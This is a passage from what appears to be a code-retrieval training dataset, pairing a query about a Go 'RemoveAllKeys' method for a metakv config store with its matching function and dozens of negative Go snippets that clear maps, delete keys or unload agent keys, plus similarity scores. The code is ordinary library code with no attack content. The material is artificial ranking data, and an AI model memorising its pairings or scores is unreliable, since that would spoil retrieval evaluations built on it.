\"func newKubeadmConfigAction() Action {\\n\\treturn &kubeadmConfigAction{}\\n}\",\n \"func NewCfg() *Cfg {\\n\\treturn &Cfg{\\n\\t\\tNode: node.NewCfg(),\\n\\t}\\n}\"\n]"},"negative_scores":{"kind":"list like","value":["0.5658371","0.5577373","0.55192655","0.54352075","0.53246593","0.52144855","0.5183041","0.51396626","0.5085189","0.5075144","0.50271773","0.502598","0.5019509","0.5000536","0.49948964","0.49942094","0.4993093","0.4987589","0.49607748","0.4948809","0.49335274","0.48817134","0.4864393","0.48389837","0.48347914","0.48296076","0.48145258","0.4809729","0.48055753","0.4793244","0.47887647","0.47866607","0.47832194","0.47785833","0.47735438","0.47617942","0.47479793","0.47444594","0.47403306","0.47395328","0.4738509","0.4734628","0.4734021","0.4729725","0.47265765","0.47232518","0.47180003","0.47065893","0.46992552","0.46982983","0.46974704","0.469594","0.46890682","0.46753398","0.4673328","0.46641892","0.46518812","0.46412843","0.46300822","0.46152058","0.46128148","0.46037787","0.45984122","0.45916387","0.4582181","0.45730364","0.4573023","0.45724675","0.45541307","0.45458156","0.45447522","0.45423177","0.45339856","0.4528139","0.45268512","0.45202228","0.4516242","0.45130587","0.4511623","0.45056558","0.44967583","0.448777","0.4484555","0.44833937","0.44758072","0.44700852","0.44669753","0.44617215","0.44553006","0.44531575","0.4452598","0.44499016","0.44498968","0.444825","0.4448009","0.44475093","0.4437981","0.4434998","0.44348547","0.4432562"],"string":"[\n \"0.5658371\",\n \"0.5577373\",\n \"0.55192655\",\n \"0.54352075\",\n \"0.53246593\",\n \"0.52144855\",\n \"0.5183041\",\n \"0.51396626\",\n \"0.5085189\",\n \"0.5075144\",\n \"0.50271773\",\n \"0.502598\",\n \"0.5019509\",\n \"0.5000536\",\n \"0.49948964\",\n \"0.49942094\",\n \"0.4993093\",\n \"0.4987589\",\n \"0.49607748\",\n \"0.4948809\",\n \"0.49335274\",\n \"0.48817134\",\n \"0.4864393\",\n \"0.48389837\",\n \"0.48347914\",\n \"0.48296076\",\n \"0.48145258\",\n \"0.4809729\",\n \"0.48055753\",\n \"0.4793244\",\n \"0.47887647\",\n \"0.47866607\",\n \"0.47832194\",\n \"0.47785833\",\n \"0.47735438\",\n \"0.47617942\",\n \"0.47479793\",\n \"0.47444594\",\n \"0.47403306\",\n \"0.47395328\",\n \"0.4738509\",\n \"0.4734628\",\n \"0.4734021\",\n \"0.4729725\",\n \"0.47265765\",\n \"0.47232518\",\n \"0.47180003\",\n \"0.47065893\",\n \"0.46992552\",\n \"0.46982983\",\n \"0.46974704\",\n \"0.469594\",\n \"0.46890682\",\n \"0.46753398\",\n \"0.4673328\",\n \"0.46641892\",\n \"0.46518812\",\n \"0.46412843\",\n \"0.46300822\",\n \"0.46152058\",\n \"0.46128148\",\n \"0.46037787\",\n \"0.45984122\",\n \"0.45916387\",\n \"0.4582181\",\n \"0.45730364\",\n \"0.4573023\",\n \"0.45724675\",\n \"0.45541307\",\n \"0.45458156\",\n \"0.45447522\",\n \"0.45423177\",\n \"0.45339856\",\n \"0.4528139\",\n \"0.45268512\",\n \"0.45202228\",\n \"0.4516242\",\n \"0.45130587\",\n \"0.4511623\",\n \"0.45056558\",\n \"0.44967583\",\n \"0.448777\",\n \"0.4484555\",\n \"0.44833937\",\n \"0.44758072\",\n \"0.44700852\",\n \"0.44669753\",\n \"0.44617215\",\n \"0.44553006\",\n \"0.44531575\",\n \"0.4452598\",\n \"0.44499016\",\n \"0.44498968\",\n \"0.444825\",\n \"0.4448009\",\n \"0.44475093\",\n \"0.4437981\",\n \"0.4434998\",\n \"0.44348547\",\n \"0.4432562\"\n]"},"document_score":{"kind":"string","value":"0.741039"},"document_rank":{"kind":"string","value":"0"}}},{"rowIdx":106140,"cells":{"query":{"kind":"string","value":"RemoveAllKeys removes all cfg entries from metakv, where the caller should no longer use this CfgMetaKv instance, but instead create a new instance."},"document":{"kind":"string","value":"func (c *CfgMetaKv) RemoveAllKeys() {\n\tmetakv.RecursiveDelete(c.prefix)\n}"},"metadata":{"kind":"string","value":"{\n \"objective\": {\n \"self\": [],\n \"paired\": [],\n \"triplet\": [\n [\n \"query\",\n \"document\",\n \"negatives\"\n ]\n ]\n }\n}"},"negatives":{"kind":"list like","value":["func (ks *MemoryStore) RemoveAll() (err error) {\n\n\tfor key := range ks.Keys {\n\t\tdelete(ks.Keys, key)\n\t}\n\n\treturn\n}","func (m *MultiMap) RemoveAll(key interface{}) {\n\tdelete(m.m, key)\n}","func (v values) RemoveAll() {\n\tfor key := range v {\n\t\tdelete(v, key)\n\t}\n}","func (t *Map) DeleteAll(keys []interface{}) *Map {\n\tfor _, k := range keys {\n\t\tt.Delete(k)\n\t}\n\treturn t\n}","func (k *MutableKey) Clear() {\n\tfor v := range k.vals {\n\t\tdelete(k.vals, v)\n\t\tk.synced = false\n\t}\n}","func deleteAllKeys() error {\n\tetcd, err := newEtcdClient()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer etcd.Cli.Close()\n\n\tetcd.Kv.Delete(etcd.Ctx, \"\", clientv3.WithPrefix())\n\treturn nil\n}","func (k *Keys) Clean() {\n\tif k != nil {\n\t\tif k.Admin != nil {\n\t\t\tk.Admin.Clean()\n\t\t\tk.Admin = nil\n\t\t}\n\t\tif k.Server != nil {\n\t\t\tk.Server.Clean()\n\t\t\tk.Server = nil\n\t\t}\n\t\tk.Nonce = nil\n\t}\n}","func removeKeys(keys ...string) func([]string, slog.Attr) slog.Attr {\n\treturn func(_ []string, a slog.Attr) slog.Attr {\n\t\tfor _, k := range keys {\n\t\t\tif a.Key == k {\n\t\t\t\treturn slog.Attr{}\n\t\t\t}\n\t\t}\n\t\treturn a\n\t}\n}","func (be *s3) removeKeys(t backend.Type) error {\n\tdone := make(chan struct{})\n\tdefer close(done)\n\tfor key := range be.List(backend.Data, done) {\n\t\terr := be.Remove(backend.Data, key)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}","func (c *Configmap) Delete(keys ...string) {\n\tmapSI := map[string]interface{}(*c)\n\tfor _, key := range keys {\n\t\tdelete(mapSI, key)\n\t}\n}","func (c DirCollector) Clear() {\n\tfor k := range c {\n\t\tdelete(c, k)\n\t}\n}","func (ms *MemStore) RemoveAll(keys ...string) {\n\tms.mu.Lock()\n\tfor _, key := range keys {\n\t\tdelete(ms.data, key)\n\t}\n\tms.mu.Unlock()\n}","func (c Collector) Clear() {\n\tfor k := range c {\n\t\tdelete(c, k)\n\t}\n}","func (o *KeyValueOrdered) Clear() {\n\tfor k := range o.m {\n\t\tdelete(o.m, k)\n\t}\n\to.s = o.s[:0]\n}","func (c FileCollector) Clear() {\n\tfor k := range c {\n\t\tdelete(c, k)\n\t}\n}","func (w *Widget) ClearMappings(app gowid.IApp) {\n\tfor k := range w.kmap {\n\t\tdelete(w.kmap, k)\n\t}\n}","func (mm *Model) RemoveAll(selector interface{}, keys ...string) (*mgo.ChangeInfo, error) {\n\treturn mm.change(func(c CachedCollection) (*mgo.ChangeInfo, error) {\n\t\treturn c.RemoveAll(selector, keys...)\n\t})\n}","func (g *Group) Clear() {\n\tg.mu.Lock()\n\tdefer g.mu.Unlock()\n\n\tg.dict = make(map[string]Entry)\n\tg.tmpls = nil\n}","func (k *MutableKey) Discard() {\n\tfor v := range k.vals {\n\t\tdelete(k.vals, v)\n\t}\n\tdelete(k.MutableMap.mutkeys, k.key)\n\tk.MutableMap = nil\n\tk.vals = nil\n}","func (c DeferDirCollector) Clear() {\n\tfor k := range c {\n\t\tdelete(c, k)\n\t}\n}","func (c *SyncCollector) Clear() {\n\tfor k := range c.c {\n\t\tc.rw.Lock()\n\t\tdelete(c.c, k)\n\t\tc.rw.Unlock()\n\t}\n}","func allKeys(k *koanf.Koanf) map[string]interface{} {\n\tall := k.All()\n\n\tfor key := range all {\n\t\tif isMap, mapKey := isMapKey(key); isMap {\n\t\t\tdelete(all, key)\n\n\t\t\tall[mapKey] = k.Get(mapKey)\n\t\t}\n\t}\n\n\treturn all\n}","func (manager *KeysManager) Clear() {\n\tmanager.KeyList = make([]*jose.JSONWebKey, 0)\n\tmanager.KeyMap = make(map[string]*jose.JSONWebKey)\n}","func clearMap(store map[string]interface{}) {\n\tfor k := range store {\n\t\tdelete(store, k)\n\t}\n}","func (this *MyHashMap) Remove(key int) {\r\n\tk := this.hashFunc(key)\r\n\r\n\tfor i, v := range this.Keys[k] {\r\n\t\tif key == v {\r\n\t\t\tif i == 0 {\r\n\t\t\t\tthis.Keys[k] = this.Keys[k][1:]\r\n\t\t\t\tthis.Vals[k] = this.Vals[k][1:]\r\n\t\t\t} else if i == len(this.Keys[k])-1 {\r\n\t\t\t\tthis.Keys[k] = this.Keys[k][:len(this.Keys[k])-1]\r\n\t\t\t\tthis.Vals[k] = this.Vals[k][:len(this.Vals[k])-1]\r\n\t\t\t} else {\r\n\t\t\t\tthis.Keys[k] = append(this.Keys[k][:i], this.Keys[k][i+1:]...)\r\n\t\t\t\tthis.Vals[k] = append(this.Vals[k][:i], this.Vals[k][i+1:]...)\r\n\t\t\t}\r\n\t\t\treturn\r\n\t\t}\r\n\t}\r\n\treturn\r\n}","func (ms *MemStore) CleanupSessionKeys(t uint64) error {\n\tvar oldKeys []string\n\tfor hash, sk := range ms.sessionKeys {\n\t\tif sk.cleanupTime < t {\n\t\t\toldKeys = append(oldKeys, hash)\n\t\t}\n\t}\n\tfor _, hash := range oldKeys {\n\t\tdelete(ms.sessionKeys, hash)\n\t}\n\treturn nil\n}","func (m XmlToMap) Del(key string) {\n\tdelete(m, key)\n}","func (c *ttlCache) purge() {\n\tc.mutex.Lock()\n\tdefer c.mutex.Unlock()\n\tfor key, value := range c.entries {\n\t\tif value.expireTime.Before(time.Now()) {\n\t\t\tdelete(c.entries, key)\n\t\t}\n\t}\n\n}","func TestHashMapDel(t *T) {\n\n\tkvs := []*KV{\n\t\tKeyVal(1, \"one\"),\n\t\tKeyVal(2, \"two\"),\n\t\tKeyVal(3, \"three\"),\n\t}\n\tkvs1 := []*KV{\n\t\tKeyVal(2, \"two\"),\n\t\tKeyVal(3, \"three\"),\n\t}\n\n\t// Degenerate case\n\tm := NewHashMap()\n\tm1, ok := m.Del(1)\n\tassert.Equal(t, 0, Size(m))\n\tassert.Equal(t, 0, Size(m1))\n\tassert.Equal(t, false, ok)\n\n\t// Delete actual key\n\tm = NewHashMap(kvs...)\n\tm1, ok = m.Del(1)\n\tassertSeqContentsHashMap(t, kvs, m)\n\tassertSeqContentsHashMap(t, kvs1, m1)\n\tassert.Equal(t, true, ok)\n\n\t// Delete it again!\n\tm2, ok := m1.Del(1)\n\tassertSeqContentsHashMap(t, kvs1, m1)\n\tassertSeqContentsHashMap(t, kvs1, m2)\n\tassert.Equal(t, false, ok)\n\n}","func (b *BootstrapClient) UnmountAll() *BootstrapClient {\n\t//ignore error as this may fail if there is no old configuration\n\tb.usingVaultRootToken(func() error {\n\t\t// Remove all old configuration, these may fail if there aren't old configurations to remove\n\t\tb.DisableAuth()\n\t\tb.unmountPostgres()\n\t\tb.unmountMongo()\n\t\tb.unmountTLSCert()\n\t\tb.unmountAWS()\n\t\tb.unmountGeneric()\n\t\tb.unmountTransit()\n\t\treturn nil\n\t})\n\treturn b\n}","func (diffStore *utxoDiffStore) clearOldEntries() {\n\tdiffStore.mtx.HighPriorityWriteLock()\n\tdefer diffStore.mtx.HighPriorityWriteUnlock()\n\n\tvirtualBlueScore := diffStore.dag.VirtualBlueScore()\n\tminBlueScore := virtualBlueScore - maxBlueScoreDifferenceToKeepLoaded\n\tif maxBlueScoreDifferenceToKeepLoaded > virtualBlueScore {\n\t\tminBlueScore = 0\n\t}\n\n\ttips := diffStore.dag.virtual.tips()\n\n\ttoRemove := make(map[*blockNode]struct{})\n\tfor node := range diffStore.loaded {\n\t\tif node.blueScore < minBlueScore && !tips.contains(node) {\n\t\t\ttoRemove[node] = struct{}{}\n\t\t}\n\t}\n\tfor node := range toRemove {\n\t\tdelete(diffStore.loaded, node)\n\t}\n}","func RemoveMapFields(config, live map[string]interface{}) map[string]interface{} {\n\tresult := map[string]interface{}{}\n\tfor k, v1 := range config {\n\t\tv2, ok := live[k]\n\t\tif !ok {\n\t\t\tcontinue\n\t\t}\n\t\tif v2 != nil {\n\t\t\tv2 = removeFields(v1, v2)\n\t\t}\n\t\tresult[k] = v2\n\t}\n\treturn result\n}","func (m BoolMemConcurrentMap) Clear() {\n\tfor item := range m.IterBuffered() {\n\t\tm.Remove(item.Key)\n\t}\n}","func (rmc *RMakeConf) Clean() {\n\tfor _, v := range rmc.Files {\n\t\tv.LastTime = time.Now().AddDate(-20, 0, 0)\n\t}\n\trmc.Session = \"\"\n}","func (cc CollectionCache) DeleteAll() {\n\tcollectionCache.Range(func(key interface{}, value interface{}) bool {\n\t\tcc.removeByKey(key)\n\t\treturn true\n\t})\n}","func (v *vncPlayer) Clear() {\n\tv.Lock()\n\tdefer v.Unlock()\n\n\tfor k, p := range v.m {\n\t\tlog.Debug(\"stopping kb playback for %v\", k)\n\t\tif err := p.Stop(); err != nil {\n\t\t\tlog.Error(\"%v\", err)\n\t\t}\n\n\t\tdelete(v.m, k)\n\t}\n}","func (ledger *Ledger) DeleteALLStateKeysAndValues() error {\n\terr := ledger.chaincodeState.DeleteState()\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn ledger.txSetState.DeleteState()\n}","func (m *beingWatchedBuildEventChannelMap) Clean(conditionFunc func(k string, v time.Time) bool) {\n\tclone := m.clone()\n\tvar toClean []string\n\tfor k, v := range clone {\n\t\tdo := conditionFunc(k, v)\n\t\tif do {\n\t\t\ttoClean = append(toClean, k)\n\t\t}\n\t}\n\n\tfor _, k := range toClean {\n\t\tm.delete(k)\n\t}\n}","func (g *Generator) ClearConfigVolumes() {\n\tg.image.Config.Volumes = map[string]struct{}{}\n}","func (r *Restrictions) ClearUnsupportedKeys() {\n\tfor i, rr := range *r {\n\t\tif disabledRestrictionKeys().Has(model.RestrictionKeyNotBefore) {\n\t\t\trr.NotBefore = 0\n\t\t}\n\t\tif disabledRestrictionKeys().Has(model.RestrictionKeyExpiresAt) {\n\t\t\trr.ExpiresAt = 0\n\t\t}\n\t\tif disabledRestrictionKeys().Has(model.RestrictionKeyScope) {\n\t\t\trr.Scope = \"\"\n\t\t}\n\t\tif disabledRestrictionKeys().Has(model.RestrictionKeyAudiences) {\n\t\t\trr.Audiences = nil\n\t\t}\n\t\tif disabledRestrictionKeys().Has(model.RestrictionKeyIPs) {\n\t\t\trr.IPs = nil\n\t\t}\n\t\tif disabledRestrictionKeys().Has(model.RestrictionKeyGeoIPAllow) {\n\t\t\trr.GeoIPAllow = nil\n\t\t}\n\t\tif disabledRestrictionKeys().Has(model.RestrictionKeyGeoIPDisallow) {\n\t\t\trr.GeoIPDisallow = nil\n\t\t}\n\t\tif disabledRestrictionKeys().Has(model.RestrictionKeyUsagesAT) {\n\t\t\trr.UsagesAT = nil\n\t\t}\n\t\tif disabledRestrictionKeys().Has(model.RestrictionKeyUsagesOther) {\n\t\t\trr.UsagesOther = nil\n\t\t}\n\t\t(*r)[i] = rr\n\t}\n}","func (that *StrAnyMap) Removes(keys []string) {\n\tthat.mu.Lock()\n\tif that.data != nil {\n\t\tfor _, key := range keys {\n\t\t\tdelete(that.data, key)\n\t\t}\n\t}\n\tthat.mu.Unlock()\n}","func (ls *KvPairs) Del(key string) {\n\n\tkvp_mu.Lock()\n\tdefer kvp_mu.Unlock()\n\n\tfor i, prev := range *ls {\n\n\t\tif prev.Key == key {\n\t\t\t*ls = append((*ls)[:i], (*ls)[i+1:]...)\n\t\t\tbreak\n\t\t}\n\t}\n}","func (m Map) Remove(keys ...string) Map {\n\tfor _, key := range keys {\n\t\tdelete(m, key)\n\t}\n\treturn m\n}","func (g *Group) DeleteAll() {\n\tg.Equivalents = list.New()\n\tg.Fingerprints = make(map[string]*list.Element)\n\tg.FirstExpr = make(map[Operand]*list.Element)\n\tg.SelfFingerprint = \"\"\n}","func (kv *keyValue) Wipe() error {\n\tkv.mu.Lock()\n\tdefer kv.mu.Unlock()\n\t_, err := kv.db.RemoveAll(nil)\n\treturn err\n}","func Removes(keys []interface{}) {\n\tdefaultCache.Removes(keys)\n}","func (a *LocalKeyAgent) UnloadKeys() error {\n\tagents := []agent.Agent{a.Agent}\n\tif a.sshAgent != nil {\n\t\tagents = append(agents, a.sshAgent)\n\t}\n\n\t// iterate over all agents we have\n\tfor _, agent := range agents {\n\t\t// get a list of all keys in the agent\n\t\tkeyList, err := agent.List()\n\t\tif err != nil {\n\t\t\ta.log.Warnf(\"Unable to communicate with agent and list keys: %v\", err)\n\t\t}\n\n\t\t// remove any teleport keys we currently have loaded in the agent\n\t\tfor _, key := range keyList {\n\t\t\tif strings.HasPrefix(key.Comment, \"teleport:\") {\n\t\t\t\terr = agent.Remove(key)\n\t\t\t\tif err != nil {\n\t\t\t\t\ta.log.Warnf(\"Unable to communicate with agent and remove key: %v\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}","func (k *MutableKey) RemoveSet(vals map[uint64]struct{}) {\n\tfor val := range vals {\n\t\tdelete(k.vals, val)\n\t\tk.synced = false\n\t}\n}","func removeHelperAttributes(c *Config) *Config {\n\tif c.TLSConfig != nil {\n\t\tc.TLSConfig.KeyLoader = nil\n\t}\n\treturn c\n}","func (m *OrderedMap[K,V]) Clear() {\n\tm.list.Clear()\n\tfor k := range m.mp {\n\t\tdelete(m.mp, k)\n\t}\n}","func (c *C) Clear() {\n\tc.mu.Lock()\n\tdefer c.mu.Unlock()\n\n\t// Clear the map.\n\tfor sql, e := range c.mu.m {\n\n\t\tc.mu.availableMem += e.memoryEstimate()\n\t\tdelete(c.mu.m, sql)\n\t\te.remove()\n\t\te.clear()\n\t\te.insertAfter(&c.mu.free)\n\t}\n}","func (tc *testContext) clearWindowsInstanceConfigMap() error {\n\tcm, err := tc.client.K8s.CoreV1().ConfigMaps(tc.namespace).Get(context.TODO(), wiparser.InstanceConfigMap,\n\t\tmeta.GetOptions{})\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"error retrieving windows-instances ConfigMap\")\n\t}\n\tcm.Data = map[string]string{}\n\t_, err = tc.client.K8s.CoreV1().ConfigMaps(tc.namespace).Update(context.TODO(), cm, meta.UpdateOptions{})\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"error clearing windows-instances ConfigMap data\")\n\t}\n\treturn nil\n}","func (opts *ListOpts) Delete(key string) {\n for i, k := range *opts.values {\n if k == key {\n (*opts.values) = append((*opts.values)[:i], (*opts.values)[i+1:]...)\n return\n }\n }\n}","func UnmountAll() error {\n\tDebug(\"UnmountAll: %d devices need to be unmounted\", len(mountCache.m))\n\tfor key, mountCacheData := range mountCache.m {\n\t\tcachedMountPath := mountCacheData.mountPath\n\t\tDebug(\"UnmountAll: Unmounting %s\", cachedMountPath)\n\t\tif err := mount.Unmount(cachedMountPath, true, false); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to unmount '%s': %w\", cachedMountPath, err)\n\t\t}\n\t\tDebug(\"UnmountAll: Unmounted %s\", cachedMountPath)\n\t\tdeleteEntryMountCache(key)\n\t\tDebug(\"UnmountAll: Deleted key %s from cache\", key)\n\t}\n\n\treturn nil\n}","func (c *Config) Clear() {\n\tc.jsonMap.Clear()\n}","func (session *Session) DestroyAllKeys() error {\n\tif session == nil || session.Ctx == nil {\n\t\treturn fmt.Errorf(\"session not initialized\")\n\t}\n\tdeleteTemplate := []*pkcs11.Attribute{\n\t\t//NewAttribute(CKA_KEY_TYPE, CKK_RSA),\n\t\tpkcs11.NewAttribute(pkcs11.CKA_LABEL, session.Label),\n\t}\n\tobjects, err := session.FindObject(deleteTemplate)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(objects) > 0 {\n\t\tsession.Log.Printf(\"Keys found. Deleting...\\n\")\n\t\tfoundDeleteTemplate := []*pkcs11.Attribute{\n\t\t\tpkcs11.NewAttribute(pkcs11.CKA_LABEL, nil),\n\t\t\tpkcs11.NewAttribute(pkcs11.CKA_ID, nil),\n\t\t\tpkcs11.NewAttribute(pkcs11.CKA_CLASS, nil),\n\t\t}\n\n\t\tfor _, object := range objects {\n\t\t\tattr, _ := session.Ctx.GetAttributeValue(session.Handle, object, foundDeleteTemplate)\n\t\t\tclass := \"unknown\"\n\t\t\tif uint(attr[2].Value[0]) == pkcs11.CKO_PUBLIC_KEY {\n\t\t\t\tclass = \"public\"\n\t\t\t} else if uint(attr[2].Value[0]) == pkcs11.CKO_PRIVATE_KEY {\n\t\t\t\tclass = \"private\"\n\t\t\t}\n\t\t\tsession.Log.Printf(\"Deleting key with label=%s, id=%s and type=%s\\n\", string(attr[0].Value), string(attr[1].Value), class)\n\n\t\t\tif e := session.Ctx.DestroyObject(session.Handle, object); e != nil {\n\t\t\t\tsession.Log.Printf(\"Destroy Key failed %s\\n\", e)\n\t\t\t}\n\t\t}\n\t} else {\n\t\treturn fmt.Errorf(\"no keys found\")\n\t}\n\treturn nil\n}","func (v CMap) Del(key string) CMap {\n\tdelete(v, key)\n\treturn v\n}","func RemoveAllPairs() error {\n\t_, cmdErr := RunGitConfigCmd(\"--unset-all\", \"\")\n\treturn cmdErr\n}","func (com *Com) RemoveAll(appid gocql.UUID) (err error) {\n\tif err = com.tre.session.Query(`DELETE FROM commands WHERE app_id= ?`,\n\t\tappid).Exec(); err != nil {\n\t\tfmt.Printf(\"Remove All Commands Error: %s\\n\", err.Error())\n\t}\n\treturn\n}","func (u *UdMap) Del(key string) { delete(u.Data, key) }","func testMapUnsetN(n int, m map[Key]interface{}) {\n\tfor i := 0; i < n; i++ {\n\t\tdelete(m, Key(i))\n\t}\n}","func (bc *MemoryCache) clearItems(keys []string) {\n\tbc.Lock()\n\tdefer bc.Unlock()\n\tfor _, key := range keys {\n\t\tdelete(bc.items, key)\n\t}\n}","func processConfigMapDelete(cc *configController, configMap *v1.ConfigMap) error {\n\tlogrus.Infof(\"Processing Delete configmap %s/%s\", configMap.ObjectMeta.Namespace, configMap.ObjectMeta.Name)\n\t// Drop all info from removed config map\n\tcc.vfs.vfs = map[string]*VF{}\n\tcc.configCh <- configMessage{op: operationDeleteAll, pciAddr: \"\", vf: VF{}}\n\n\treturn nil\n}","func (a *LocalKeyAgent) DeleteKeys() error {\n\t// Remove keys from the filesystem.\n\terr := a.keyStore.DeleteKeys()\n\tif err != nil {\n\t\treturn trace.Wrap(err)\n\t}\n\n\t// Remove all keys from the Teleport and system agents.\n\terr = a.UnloadKeys()\n\tif err != nil {\n\t\treturn trace.Wrap(err)\n\t}\n\n\treturn nil\n}","func (m *MongoStore) RemoveAll(coll string, key Key) error {\n\tif !m.validateParams(coll, key) {\n\t\treturn pkgerrors.New(\"Mandatory fields are missing\")\n\t}\n\tc := getCollection(coll, m)\n\tctx := context.Background()\n\tfilter, err := m.findFilterWithKey(key)\n\tif err != nil {\n\t\treturn err\n\t}\n\t_, err = c.DeleteMany(ctx, filter)\n\tif err != nil {\n\t\treturn pkgerrors.Errorf(\"Error Deleting from database: %s\", err.Error())\n\t}\n\treturn nil\n}","func (c *Cache) deleteItems(keys []string) {\n\tc.Lock()\n\tdefer c.Unlock()\n\n\tfor _, k := range keys {\n\t\tif _, found := c.items[k]; found {\n\t\t\tdelete(c.items, k)\n\t\t}\n\t}\n}","func (fe *FileEncryptionProperties) WipeOutEncryptionKeys() {\n\tfe.footerKey = \"\"\n\tfor _, elem := range fe.encryptedCols {\n\t\telem.WipeOutEncryptionKey()\n\t}\n}","func DeleteAllApplicationKeys(db gorp.SqlExecutor, applicationID int64) error {\n\tquery := `DELETE FROM application_key WHERE application_id = $1`\n\tif _, err := db.Exec(query, applicationID); err != nil {\n\t\treturn sdk.WrapError(err, \"cannot delete application key\")\n\t}\n\treturn nil\n}","func (ks Keys) Unique() (uks Keys) {\n\tseen := make(map[interface{}]struct{}, len(ks))\n\tuks = make(Keys, 0, len(uks))\n\tfor _, k := range ks {\n\t\tif _, ok := seen[k]; !ok && k != nil {\n\t\t\tseen[k] = struct{}{}\n\t\t\tuks = append(uks, k)\n\t\t}\n\t}\n\treturn uks\n}","func (m *FieldMap) Clear() {\n\tfor k := range m.tagLookup {\n\t\tdelete(m.tagLookup, k)\n\t}\n}","func (sess Session) Clear() {\n\tfor k, _ := range sess {\n\t\tdelete(sess, k)\n\t}\n}","func (su *StateUpdate) ClearVehicleRegistrations() *StateUpdate {\n\tsu.mutation.ClearVehicleRegistrations()\n\treturn su\n}","func (index *DbIterator) clearKV() {\n\tindex.key = nil\n\tindex.value = nil\n}","func (c Container) Reset() {\n\tfor k := range c {\n\t\tdelete(c, k)\n\t}\n}","func (c *evictionClient) ClearAllEvictLabels() error {\n\toptions := metav1.ListOptions{\n\t\tFieldSelector: fmt.Sprintf(\"spec.nodeName=%s\", c.nodeName),\n\t}\n\tpodLists, err := c.client.CoreV1().Pods(metav1.NamespaceAll).List(options)\n\tif err != nil {\n\t\tlog.Errorf(\"List pods on %s error\", c.nodeName)\n\t\treturn err\n\t}\n\n\tfor _, pod := range podLists.Items {\n\t\tfor k := range pod.Labels {\n\t\t\tpodInfo := types.PodInfo{\n\t\t\t\tName: pod.Name,\n\t\t\t\tNamespace: pod.Namespace,\n\t\t\t}\n\t\t\tif k == types.EvictCandidate {\n\t\t\t\tc.LabelPod(&podInfo, k, \"Delete\")\n\t\t\t}\n\t\t\tif k == types.NeedEvict {\n\t\t\t\tc.LabelPod(&podInfo, k, \"Delete\")\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}","func (e *etcdCacheEntry) RemoveAllObservers() {\n e.Lock()\n defer e.Unlock()\n e.observers = make([]etcdObserver, 0)\n}","func (g *Generator) ClearConfigLabels() {\n\tg.image.Config.Labels = map[string]string{}\n}","func (m *Map) Remove(key string) {\n\tif l, ok := m.keys[key]; ok {\n\t\tfor _, n := range l {\n\t\t\tm.nodes.Delete(n)\n\t\t}\n\t\tdelete(m.keys, key)\n\t}\n}","func (b *baseKVStoreBatch) Clear() {\n\tb.mutex.Lock()\n\tdefer b.mutex.Unlock()\n\tb.writeQueue = nil\n\n\tb.fillLock.Lock()\n\tdefer b.fillLock.Unlock()\n\tfor k := range b.fill {\n\t\tdelete(b.fill, k)\n\t}\n}","func (b *BitSet) prune() {\n\tchg := true\n\n\tfor chg {\n\t\tchg = false\n\t\tkeyToDelete := uint64(0)\n\t\tfoundToDelete := false\n\t\tfor k, v := range b.set {\n\t\t\tif v == 0 {\n\t\t\t\tfoundToDelete = true\n\t\t\t\tkeyToDelete = k\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t\tif foundToDelete {\n\t\t\tdelete((*b).set, keyToDelete)\n\t\t\tchg = true\n\t\t}\n\t}\n}","func (m Map) FilterKeys(keys ...string) Map {\n\tn := Map{}\n\tfor _, key := range keys {\n\t\tn[key] = m.Get(key, nil)\n\t}\n\treturn n\n}","func OmitByKeys[K comparable, V any](in map[K]V, keys []K) map[K]V {\n\tr := map[K]V{}\n\tfor k, v := range in {\n\t\tif !Contains(keys, k) {\n\t\t\tr[k] = v\n\t\t}\n\t}\n\treturn r\n}","func (tp *Tapestry) RemoveKeysAtNode(t *testing.T, node *Node) {\n\tfor key := range node.blobstore.blobs {\n\n\t\t// delete from Blobs\n\t\tdelete(tp.Blobs, key)\n\n\t\t// delete from Keys\n\t\ttp.RemoveKey(t, key)\n\t}\n}","func (m *Manager) RemoveAll() {\n\tm.removeAll()\n}","func (m *Manager) RemoveAll() {\n\tm.removeAll()\n}","func Del(key string) {\n\tdelete(cacher, key)\n}","func (lb *smoothWeightedRR) RemoveAll() {\n\tlb.items = lb.items[:0]\n\tlb.itemMap = make(map[interface{}]*weightedItem)\n}","func (o APIKeySlice) DeleteAllG() error {\n\tif o == nil {\n\t\treturn errors.New(\"models: no APIKey slice provided for delete all\")\n\t}\n\treturn o.DeleteAll(boil.GetDB())\n}","func (d *MetadataAsDictionary) Clear() {\n\tif d.metadata == nil {\n\t\td.Init()\n\t}\n\td.dirty = true\n\n\td.metadata = map[string]interface{}{} // TODO: can it be nil?\n}","func (m ConcurrentMap[T]) Clear() {\n\tfor _, shard := range m.shards {\n\t\tshard.Lock()\n\t\tshard.items = make(map[string]T)\n\t\tshard.Unlock()\n\t}\n}","func (v values) Remove(keys ...string) {\n\tfor _, key := range keys {\n\t\tdelete(v, key)\n\t}\n}","func DeleteUnhealthyConditionsConfigMap() error {\n\tc, err := LoadClient()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tkey := types.NamespacedName{\n\t\tName: mrv1.ConfigMapNodeUnhealthyConditions,\n\t\tNamespace: NamespaceOpenShiftMachineAPI,\n\t}\n\tcm := &corev1.ConfigMap{}\n\tif err := c.Get(context.TODO(), key, cm); err != nil {\n\t\treturn err\n\t}\n\n\treturn c.Delete(context.TODO(), cm)\n}","func (p *Parser) Del(key string) {\n\tm, err := p.Map()\n\tif err != nil {\n\t\treturn\n\t}\n\tdelete(m, key)\n}","func (c *ConcurrentPreviousSet) Clear() {\n\tc.mutex.Lock()\n\tdefer c.mutex.Unlock()\n\n\tfor uid := range c.values {\n\t\tdelete(c.values, uid)\n\t}\n\n\tc.values = make(map[types.UID]types.Message)\n}","func (m *MACCommandSet) Clear() {\n\tm.commands = make(map[CID]MACCommand)\n}","func Delete(key string){\n n := keyValue[key]\n n.val = \"\"\n n.hash = \"\"\n keyValue[key] = n\n}","func (l *Logger) Without(keys ...string) *Logger {\n\tfor _, k := range keys {\n\t\tfor i, v := range l.context {\n\t\t\tif v.Key == k {\n\t\t\t\tcopy(l.context[i:], 